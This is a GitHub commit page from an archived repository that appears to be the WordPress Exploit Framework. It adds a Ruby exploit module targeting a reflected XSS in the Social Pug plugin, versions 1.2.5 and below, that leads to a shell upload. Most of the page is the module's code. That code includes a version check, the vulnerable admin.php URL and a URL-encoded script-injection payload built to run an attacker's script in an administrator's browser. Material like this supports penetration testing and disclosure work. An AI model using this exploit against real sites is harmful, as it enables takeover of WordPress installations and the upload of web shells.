Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 27c6dad

Browse files
committed
Add Social Pug reflected XSS shell upload
1 parent 85a14a8 commit 27c6dad

File tree

1 file changed

+32
-0
lines changed

1 file changed

+32
-0
lines changed
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
class Wpxf::Exploit::SocialPugReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Social Share Buttons - Social Pug <= 1.2.5 Reflected XSS Shell Upload',
9+
author: [
10+
'Tom Adams', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8692'],
15+
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/37']
16+
],
17+
date: 'Dec 09 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('social-pug', '1.2.6')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'admin.php')
27+
end
28+
29+
def url_with_xss
30+
"#{vulnerable_url}?page=dpsp-toolkit&settings-updated=1&dpsp_message_id=0&dpsp_message_class=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C/script%3E"
31+
end
32+
end

0 commit comments

Comments
 (0)